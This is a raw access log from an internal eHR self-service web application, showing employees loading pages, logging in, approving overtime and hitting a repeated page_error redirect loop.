192.168.11.148 - - [03/Sep/2025:09:28:12 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
192.168.11.148 - - [03/Sep/2025:09:28:12 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:28:12 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:28:12 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369
192.168.11.148 - - [03/Sep/2025:09:28:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44890
192.168.11.148 - - [03/Sep/2025:09:28:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44890 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:28:16 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230
192.168.11.148 - - [03/Sep/2025:09:28:16 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:28:16 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:28:16 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268
192.168.11.148 - - [03/Sep/2025:09:28:53 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:28:53 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368
192.168.11.148 - - [03/Sep/2025:09:28:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44690
192.168.11.148 - - [03/Sep/2025:09:28:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44690 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
100.64.0.1 - - [03/Sep/2025:09:29:36 +0800] "\x03" 501 203
100.64.0.1 - - [03/Sep/2025:09:29:36 +0800] "\x03" 501 203 "-" "-"
192.168.11.127 - - [03/Sep/2025:09:29:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:09:29:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 302 -
192.168.11.127 - - [03/Sep/2025:09:30:00 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.127 - - [03/Sep/2025:09:30:00 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:09:30:00 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.127 - - [03/Sep/2025:09:30:00 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:09:30:02 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:09:30:02 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.127 - - [03/Sep/2025:09:30:03 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510
192.168.11.127 - - [03/Sep/2025:09:30:03 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:09:30:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10339
192.168.11.127 - - [03/Sep/2025:09:30:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10339 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:09:30:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 18347 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:09:30:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 18347
192.168.11.127 - - [03/Sep/2025:09:30:19 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:09:30:19 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 -
192.168.11.127 - - [03/Sep/2025:09:30:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131045%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131045&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [03/Sep/2025:09:30:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131045%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131045&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:09:30:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [03/Sep/2025:09:30:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:09:30:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [03/Sep/2025:09:30:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:09:30:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [03/Sep/2025:09:30:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:09:30:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [03/Sep/2025:09:30:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:09:30:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [03/Sep/2025:09:30:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:09:30:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [03/Sep/2025:09:30:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:09:30:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [03/Sep/2025:09:30:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:09:30:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [03/Sep/2025:09:30:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:09:30:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [03/Sep/2025:09:30:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:09:30:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [03/Sep/2025:09:30:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:09:30:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [03/Sep/2025:09:30:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:09:30:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [03/Sep/2025:09:30:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:09:30:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [03/Sep/2025:09:30:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:09:30:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [03/Sep/2025:09:30:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:09:30:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [03/Sep/2025:09:30:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:09:30:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [03/Sep/2025:09:30:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:09:30:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
